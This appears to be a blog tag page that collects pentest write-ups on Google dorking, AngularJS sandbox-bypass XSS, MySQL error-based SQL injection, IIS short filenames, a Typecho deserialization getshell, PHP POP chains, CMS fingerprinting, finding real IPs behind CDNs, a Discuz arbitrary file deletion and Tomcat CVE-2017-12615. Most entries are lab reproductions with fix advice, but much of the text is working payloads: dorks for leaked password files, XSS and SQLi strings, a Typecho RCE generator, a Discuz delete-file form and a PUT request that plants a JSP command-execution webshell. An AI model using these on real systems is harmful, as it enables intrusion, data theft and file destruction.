Tag:penetration

Tag (penetration)'s result:

google hacking note

0x00 Grammar inurl/allinurl site intext/allintext intitle/alintitle filetype: cache info link   related phonebook   inanchor daterange define     + – ~ . * “”   0x01 Example intitle:”php shell*” “Enable stderr” filetype:php intitle:”index of” master.passwd Intext:to parent directory+intext:.mdb   filetype:reg reg +intext:”defaultusername” +intext:”defaultpassword” filetype:inc dbconn   inurl:aspx|jsp|php|asp inurl:”viewerframe?mode=”   inurl:top.htm inurl:currenttime   0x02 Defense 1. robots.txt 2. http://www.google.com/remove.html 3. if(strstr($_SERVER[‘HTTP_USER_AGENT’],”Googlebot”)) { header(“HTTP/1.1301”); header(“Location:http://www.google.com”); } ?> 4. noarchive 5. nosnipet   0x03 Tools https://www.exploit-db.com/google-hacking-database https://pentest-tools.com/information-gathering/google-hacking   0x04 Reference https://blog.csdn.net/MickeyMouse1928/article/details/68066505 https://zhuanlan.zhihu.com/p/25295436   0x05 more examples all from internet intitle:index.of “Apache/1.3.27 Server at” intitle:index.of index.php.bak inurl:index.php.bak filetype:conf inurl:firewall inurl:conf OR inurl:config OR inurl:cfg filetype:log username putty filetype:xls username password email intitle:login intext:版权信息 filetype:sql sql filetype:mdb inurl:com allinurl:winnt/system32/ allinurl:wwwboard/passwd.txt inurl:.bash_history inurl:config.txt inurl:admin filetype:txt inurl:admin filetype:db inurl:admin filetype:cfg inurl:mysql filetype:cfg inurl:passwd filetype:txt inurl:iisadmin allinurl:/scripts/cart32.exe allinurl:/CuteNews/show_archives.php allinurl:/phpinfo.php allinurl:/privmsg.php inurl:auth_user_file.txt inurl:orders.txt inurl:”wwwroot/*.” inurl:adpassword.txt inurl:webeditor.php inurl:file_upload.php inurl:gov filetype:xls “restricted” index of ftp +.mdb allinurl:/cgi-bin/ +mailto intitle:”php shell*” “Enable stderr” filetype:php allintitle:”index of /admin inurl:jira AND intitle:login AND inurl:[company_name] inurl:https://trello.com AND intext:@gmail.com AND intext:password inurl:https://trello.com AND intext:ftp AND……

client side template injection with angulajs cause xss

I often meet angulajs when I test website,so I want to make a note. <html ng-app> <head> <script src=”./angular.js”></script> </head> <body> <p> <?php $q = $_GET[‘q’];   //echo $q;   echo htmlspecialchars($q, ENT_QUOTES); ?> </p> </body> </html>   POC {{$id}} or {{1+1}} POC: http://127.0.0.1:8999/lsawebtest/vulenv/misc/angular-xss/test.php?q={{%27a%27.constructor.prototype.charAt=[].join;$eval(%27x=1}%20}%20};alert(0)//%27);}} //If you are interested in it,you can research how to bypass the sandbox.   Tow cases: https://www.freebuf.com/vuls/125932.html http://www.secevery.com:4321/bugs/wooyun-2016-0190247   List of Sandbox bypasses from portswigger 1.0.1 – 1.1.5 Mario Heiderich (Cure53) {{constructor.constructor(‘alert(1)’)()}}   1.2.0 – 1.2.1 Jan Horn (Google) {{a=’constructor’;b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,’alert(1)’)()}}   1.2.2 – 1.2.5 Gareth Heyes (PortSwigger) {{‘a'[{toString:[].join,length:1,0:’__proto__’}].charAt=”.valueOf;$eval(“x=’”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+”‘”);}}   1.2.6 – 1.2.18 Jan Horn (Google) {{(_=”.sub).call.call({}[$=’constructor’].getOwnPropertyDescriptor(_.__proto__,$).value,0,’alert(1)’)()}}   1.2.19 – 1.2.23 Mathias Karlsson {{toString.constructor.prototype.toString=toString.constructor.prototype.call;[“a”,”alert(1)”].sort(toString.constructor);}}   1.2.24 – 1.2.29 Gareth Heyes (PortSwigger) {{‘a’.constructor.prototype.charAt=”.valueOf;$eval(“x=’\”+(y=’if(!window\\u002ex)alert(window\\u002ex=1)’)+eval(y)+\”‘”);}}   1.3.0 Gábor Molnár (Google) {{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (”+”.toString( ‘F = Function.prototype;’ + ‘F.apply = F.a;’ + ‘delete F.a;’ + ‘delete F.valueOf;’ + ‘alert(1);’ )) );}}   1.3.1 – 1.3.2 Gareth Heyes (PortSwigger) {{ {}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join; ‘a’.constructor.prototype.charAt=”.valueOf; $eval(‘x=alert(1)//’); }}   1.3.3 – 1.3.18……

sql盲注之报错注入

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入。   0x01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新。 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。 关键是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1,下面以rand(0)简述原理: 首先看看接下来会用到的几个函数 Count()计算总数 Concat()连接字符串 Floor()向下取整数 Rand()产生0~1的随机数 rand(0)序列是011011 1. 查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。 2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。 3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。 由上述可得,表中必须存在大于等于3条记录才会产生报错,实测也如此。 一些报错查询语句(相当于套公式): 假设字段数是3 经典语句: union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+ version()可以替换为需要查询的信息。 简化语句: union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+ 如果关键的表被禁用了,可以使用这种形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 如果rand被禁用了可以使用用户变量来报错 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)   Sqli-labs less5测试: 1. 获取库名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 2.获取表名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 3. 获取列名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 4. 爆数据 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 2. Xpath报错: 主要的两个函数: Mysql5.1.5 1. updatexml():对xml进行查询和修改 2. extractvalue():对xml进行查询和修改 都是最大爆32位。 and updatexml(1,concat(0x26,(version()),0x26),1); and (extractvalue(1,concat(0x26,(version()),0x26))); Sqli-lab less5测试: Updatexml(): 192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0x26,database(),0x26),1);–+ Extractvalue(): 192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0x26,database(),0x26));–+ 3. 整形溢出报错: Mysql>5.5.5 主要函数: exp(x):计算e的x次方 Payload: and (EXP(~(select * from(select version())a))); Exp()超过710会产生溢出。 将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。 4. 数据重复报错: Mysql低版本 payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x   5. 其余报错: GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * from(select user())a)b)) multipoint() id = 1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring() id = 1 AND multilinestring((select * from(select * from(select user())a)b)) linestring() id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b))   0x02 报错注入脚本 依据sqli-lab less-5写的自动化注入脚本,实战再根据具体情况修改即可,盲注还是写脚本方便点。 #coding:utf-8 #Author:LSA #Description:blind sqli error base script #Date:20171222 import sys import requests import re import binascii from termcolor import * import optparse fdata = []……

重温经典-IIS短文件名漏洞分析及利用

0x00 前言 早就听说过这个Bug,上古级别的漏洞,一直没有实战过,前段时间有幸遇到一个实例,顺便重温下这个经典漏洞。   0x01 利用条件 IIS+.NET都开启。   0x02 漏洞分析及利用 为了兼容ms-dos,对于一些长文件(或文件夹)名,windows会以win 8.3格式生成对应的短文件名。 格式是长文件名的(前6个字符)+(~)+(1到9)+(.)+(后缀前3位),如下图: 可以看出长文件名的短文件名是111111~1.txt。 而这个漏洞的原理就是构造出存在的短文件名返回404,不存在的短文件名返回400。 这里要利用*通配符,如ind*~1****返回404,and*~1****则返回400,由此可以暴力猜解短文件/文件夹名。 奉上实战测试效果图: 利用脚本:https://github.com/lijiejie/IIS_shortname_Scanner 利用此漏洞最明显的可以猜测后台地址,下载备份文件,sql文件,还可以dos攻击。   0x03 修复方案 1.禁止url中使用“~”或它的Unicode编码。 2.关闭windows的8.3格式功能。 3.修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1,再重启下机器。(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除), 4.如果web环境不需要asp.net的支持则可以进入Internet 信息服务(IIS)管理器 — Web 服务扩展 – ASP.NET 选择禁止此功能。 5.升级net framework 至4.0以上版本. 6.将web文件夹的内容拷贝到另一个位置,如E:\www到E:\www.back,然后删除原文件夹E:\www,再重命名E:\www.back到E:\www,如果不重新复制,则已存在的短文件名不会消失。   0x04 结语 猜不到后台时不妨试试,也许会给你一个惊喜。  

Typecho反序列化漏洞重现及分析

0x00 前言 一个月前,typecho博客系统爆出了反序列化前台getshell的重大bug,当时太忙没时间分析,最近熟悉了下php的反序列化漏洞,乘势重温下当时火热的typecho反序列化漏洞,如果对php反序列化漏洞不甚了解,可以参考php反序列化漏洞总结。   0x01 漏洞重现 环境:win7+phpstudy(php5.4.45+apache2)+Typecho141010 0号payload0(来自www.freebuf.com/vuls/152058.html):执行phpinfo <?phpclass Typecho_Feed{ const RSS1 = ‘RSS 1.0’; const RSS2 = ‘RSS 2.0’; const ATOM1 = ‘ATOM 1.0’; const DATE_RFC822 = ‘r’; const DATE_W3CDTF = ‘c’; const EOL = “\n”; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( ‘title’ => ‘1’, ‘link’ => ‘1’, ‘date’ => 1508895132, ‘category’ => array(new Typecho_Request()), ‘author’ => new Typecho_Request(), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params[‘screenName’] = ‘phpinfo()’; $this->_filter[0] = ‘assert’; } } $exp = array( ‘adapter’ => new Typecho_Feed(), ‘prefix’ => ‘typecho_’ ); echo base64_encode(serialize($exp)); 效果:   1号payload1:写入一句话: <?php class Typecho_Feed{ private $_items = array(); const RSS2 = ‘RSS 2.0’; private $_version; private $_type; private $_charset; private $_lang; public function __construct($version, $type = self::RSS2, $charset = ‘UTF-8’, $lang = ‘en’) { $this->_version = $version; $this->_type = $type; $this->_charset = $charset; $this->_lang = $lang; } public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array(); private $_filter =……

php反序列化漏洞总结

0x00 概述 php允许保存一个对象方便以后重用,这个过程被称为序列化。 serialize可以将对象转换为字符串并且在转换中可以保存当前变量的值。 unserialize则可以将serialize生成的字符串变换回对象。   0x01 序列化类型 boolean: b:1; // True b:0; // False integer i:1; double d:1.23456 NULL N; string s:”abcdef” array a:3:{i:0;s:3:”Moe”;i:1;s:5:”Larry”;i:2;s:5:”Curly”;}   序列化中字母对应的类型 a – array 数组 b – boolean布尔型 d – double双精度型 i – integer o – common object一般对象 r – reference s – string C – custom object 自定义对象 O – class N – null R – pointer reference U – unicode string unicode编码的字符串   0x02 魔术方法和pop链 PHP中的一些魔术方法: __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(),     __invoke(), __set_state(), __clone(), __autoload().__debugInfo()   magic函数__construct和__destruct会在对象创建或者销毁时自动调用。 __construct当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 __sleep magic方法在一个对象被序列化的时候调用;__wakeup magic方法在一个对象被反序列化的时候调用 如果对象将调用一个不存在的函数__call将被调用; 如果对象试图访问不存在的或私有的类变量__get和__set将被调用 call(), callStatic() 方法重载的两个函数 __call()是在对象上下文中调用不可访问的方法时触发 __callStatic()是在静态上下文中调用不可访问的方法时触发。 get(), set() __get()用于从不可访问的或私有的属性读取数据。 __set()用于将数据写入不可访问的属性。 isset(), unset() __isset()在不可访问的属性上调用isset()或empty()触发。 __unset()在不可访问的属性上使用unset()时触发。 sleep(), wakeup() serialize()检查类是否具有__sleep()函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果有非常大的对象,不需要完全保存,该功能将非常有用。 unserialize()使用__wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。__wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。 __toString() __toString当一个对象被当作一个字符串使用 __toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。 __toString触发条件: 1.echo ($obj) / print($obj) 打印时会触发 2.字符串连接时 3.格式化字符串时 4.与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 5.格式化SQL语句,绑定参数时 6.数组中有字符串时 __invoke() 当脚本尝试将对象调用为函数时,调用__invoke()方法。 __set_state() __clone() __debugInfo()   POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。 PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法 一些对我们来说有用的POP链方法: 命令执行: exec() passthru() popen() system() 文件操作: file_put_contents() file_get_contents() unlink()   0x03 其他 对象的私有成员会加入成员名称的类名称,即受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节 所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节,如下面测试1中的序列化poc: O:12:”Unserialize0″:1:{s:4:”test”;O:7:”Normal1″:1:{s:14:”%00Normal1%00data1″;s:10:”phpinfo();”;}}   CVE-2016-7124,就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 如把上面测试1的poc中的第一个1改成2或比1大的任意值。 触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。   0x04 测试 测试0:利用魔术方法形成RCE phpChain0.php: <?php /** * Created by PhpStorm. * User: LSA * Date: 11/22/17 * Time: 10:48 AM */ class PopChain0 { private $data = ‘this is news.php\n’; public $filename = ‘./news.php’; public function __wakeup() { $this->save($this->filename); } public function save($filename) { file_put_contents($filename, $this->data); } } ?> test0.php: <?php /** * Created by PhpStorm. * User: LSA * Date: 11/22/17 * Time: 10:51 AM */ require(‘./popChain0.php’); unserialize(file_get_contents(‘./test0.txt’)); ?> 可以看出大概流程是从test0.txt读取序列化数据进行反序列化,调用魔术方法__wakeup将内容写入文件中,这里data和filename都可控明显造成反序列化漏洞。 构造poc.php: <?php /** * Created……

谈谈cms识别方式(附小工具)

0x00 前言 对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。 0x01 cms识别方式 1. 网站特有文件 如/templets/default/style/dedecms.css—dedecms 2. 网站独有文件的md5 如favicon.ico,但是该文件可以被修改导致不准确。 3. 网站文件命名规则 4. 返回头的关键字 5. 网页关键字 如/data/sessions/index.html——dedecms 6. Url特征 7. Meta特征 8. Script特征 9. robots.txt 10. 网站路径特征 11. 网站静态资源 12. 爬虫网站目录信息 相对比较准确,但是可能有反爬。 13.在线网站 www.iguoli.cn/cms.php www.yunsee.cn whatweb.bugscaner.com/look/   0x01 cms识别脚本 参考了一些资料写了一个脚本,利用了网站特有文件,网站独有文件的md5,返回头关键字,网页关键字进行识别。 有5种识别模式 1. 结合式:利用json的1400+指纹进行识别[关键字+md5]。 2. 御剑式:利用御剑指纹识别的指纹进行识别[关键字] 3. 主页式:利用fofa的规则对目标主页和返回头关键字进行识别[关键字] 该模式利用了https://github.com/cuijianxiong/cmscan,感兴趣的读者可以访问该项目更新fofa规则,本人这里利用的还是老的规则。 4. 快速式:利用收集的txt进行识别[md5] 5. 急速式:利用收集的txt进行识别[特有文件] 效果图: 御剑式: 快速式: 急速式: 指纹识别关键在于指纹库,库越强壮,识别成功率越高。 本脚本完善的方向是结合多种识别方式,形成统一的规则,就不用分那么多文件了。大家有好的建议欢迎联系,共同交流学习。 项目地址:https://github.com/theLSA/cmsIdentification/   0x02 结语 改进方向:结合多种识别方式,形成统一的规则,就不用分那么多文件了。 由于时间仓促,脚本可能有Bug或不完善的地方,欢迎大家反馈或issues。   0x03 参考资料: https://masterxsec.github.io/2017/06/05/CMS识别方法/ https://landgrey.me/cms-identity-system/ seaii-blog.com/index.php/2017/01/17/16.html https://www.hzl-fj.com/49.html www.iguoli.cn/cms.php www.yunsee.cn whatweb.bugscaner.com/look/ www.freebuf.com/articles/web/129939.html www.freebuf.com/articles/2555.html https://github.com/junmoxiao/cms_identify https://github.com/AliasIO/Wappalyzer https://github.com/cuijianxiong/cmscan https://github.com/boy-hack/gwhatweb

检测cdn和寻找真实ip的一些方法总结

0x00:检测cdn 1.nslookup: 有无cdn的实例,返回多个ip肯定有cdn,但是返回一个ip不一定就是真实ip,这时候要结合多种方法判断。   2. 多地ping: 相关网站: Ping.chinaz.com https://ping.aizhan.com 返回多个ip则存在cdn,返回相同ip几乎就是真实ip了。   3. 响应头: www.12306.cn的响应头 Accept-Ranges: bytes null: HTTP/1.1 200 OK X-Cache: HIT from cache.51cdn.com X-Via: 1.1 zib232:4 (Cdn Cache Server V2.0), 1.1 xz115:6 (Cdn Cache Server V2.0) Connection: keep-alive Last-Modified: Fri, 24 Oct 2014 09:24:58 GMT Content-Length: 1480 Age: 22852 Date: Sat, 14 Oct 2017 04:22:44 GMT X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html 从响应头字段可以看出cdn相关信息。   4. 在线分析网站 https://builtwith.com https://www.cdnplanet.com/tools/cdnfinder/   5. cdn厂商ip列表     0x01:寻找真实ip 1.去除www: 如www.xxx.com用了cdn,xxx.com可能就没用cdn。   2. 二级域名: 找到没用cdn的二级域名的ip,修改host绑定到目标域名,能访问则目标域名和其二级域名在同服,若不在可尝试c段。   3. nslookup: 用国外的dns,最好是冷门dns,可能解析到真实ip。(也可以尝试ns/mx记录)   4. 查域名解析历史记录: 用cdn之前的可能就是真实ip。 https://x.threatbook.cn/en https://dnsdb.io https://viewdns.info   5. rss订阅   6. 邮件   7. 服务器漏洞: xss/ssrf等,这就方便了……   8. dos: 打光cdn流量,回溯真实ip。   9.敏感文件泄漏: 如phpinfo探针   10. zmap全网扫描: 获取目标地域的ip段->扫描80端口->banner-grap抓取banner->http-req-host写目标域名->对过滤出的ip再次抓banner     11. fofa大法: html源码检索,查找网站特征字符串。   0x02 参考资料 www.jianshu.com/p/c89128517b9c https://zhuanlan.zhihu.com/p/24396958 https://www.v2ex.com/t/147387 https://www.v2ex.com/t/212177 www.cnblogs.com/blacksunny/p/5771827.html www.cnblogs.com/milantgh/p/5013254.html https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651071300&idx=4&sn=84b87138cbf12072fbe15c7be7feeb8e&scene=0#wechat_redirect https://www.cmsky.com/cn-cdn-ip/ xiaix.me/rao-guo-cdncha-zhao-wang-zhan-zhen-shi-ip/ https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=10614&highlight=cdn https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=2551&highlight=cdn    

Discuz!X前台任意文件删除漏洞重现及分析

0x00 概述 9月29日,discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。   0x01 影响范围 Discuz < 3.4   0x02 漏洞重现 环境:win7+phpstudy+discuz3.2 新建importantfile.txt作为测试 进入设置-个人资料,先在页面源代码找到formhash值 http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile 可以看到formhash值是b21b6577。 再访问10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577 如图 执行后 出生地被修改成要删除的文件。 最后构造表单执行删除文件 <form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”> <input type=”file” name=”birthprovince” id=”file” /> <input type=”text” name=”formhash” value=”b21b6577″/></p> <input type=”text” name=”profilesubmit” value=”1″/></p> <input type=”submit” value=”Submit” /> </from> 随便上传一张图片,即可删除importantfile.txt 成功删除importantfile.txt,重现成功!   0x03 修复方案 https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574 删除unlink相关代码。   0x04 漏洞分析 根据补丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。 先看第70行 if(submitcheck(‘profilesubmit’)) { 提交1进入这个判断。 来到220行,补丁前: 往上看来到: 可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。 现在就看如何控制指定文件,也就是控制$space[$key]这个变量。 继续往上看来到: 可以看出space存用户资料,就可以利用space[birthprovince]存要删除的文件。 那如何修改birthprovince为指定文件呢,直接post提交就绕过限制了。 总结整个漏洞利用流程: 修改birthprovince->上传图片->执行unlink->删除任意文件   0x05 结语 删文件……,大家不要乱搞,该补的赶紧补,discuz树大招风,2014的补丁又不补完全,正是这样攻与防的不断博弈,使安全界生机勃勃,妙趣横生,也使互联网愈发安全稳固。   0x06 参考资料 https://www.seebug.org/vuldb/ssvid-96608 https://www.seebug.org/vuldb/ssvid-93588 https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574 https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php  

Tomcat cve-2017-12615 漏洞重现

0x00 概述 9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,分别为CVE-2017-12615和CVE-2017-12616。 Cve-2017-12615为远程代码执行,当 Tomcat启用了HTTP PUT请求(默认关闭),攻击者可通过构造的恶意请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。 Cve-2017-12616为信息泄漏,当Tomcat中启用了 VirtualDirContext时(7.x默认无),攻击者将能通过发送构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成源码信息泄露。   0x01 影响范围 CVE-2017-12615: Apache Tomcat 7.0.0 – 7.0.79 (windows) CVE-2017-12616:Apache Tomcat 7.0.0 – 7.0.80   0x02 12615重现 环境win7+tomcat7.0.56 手动使readonly为false,在web.xml配置,如下: <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> <init-param> ​ <param-name>readonly</param-name> ​ <param-value>false</param-value> </init-param> </servlet> 再put数据,三种姿势 xxx.jsp%20 xxx.jsp::$DATA xxx.jsp/ 这里测试第三种, Put数据包如下: PUT /conn.jsp/ HTTP/1.1 Host: 192.168.43.173:8082 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 <% if(“111”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“c”)).getInputStream(); int x = -1; byte[] y = new byte[2048]; out.print(“<pre>”); while((x=in.read(y))!=-1){ out.println(new String(y)); } out.print(“</pre>”); } %> 看看服务器 成功PUT文件conn.jsp 执行命令 重现成功! 经本人测试,此姿势在tomcat最新版7.0.81也有效! 0x03 修复方案 升级到最新版本 配置readonly和VirtualDirContext值为Ture 尽量禁put   0x04 结语 由于配置默认关闭了readonly和无VirtualDirContext,而且要手动添加,导致这两个漏洞很鸡肋,但是影响很广,危害巨大。   0x05 参考资料 www.freebuf.com/vuls/148283.html www.4hou.com/vulnerable/7743.html https://xianzhi.aliyun.com/forum/read.php?tid=2135&displayMode=1&page=1&toread=1#tpc https://xianzhi.aliyun.com/forum/read/2136.html https://www.seebug.org/vuldb/ssvid-96562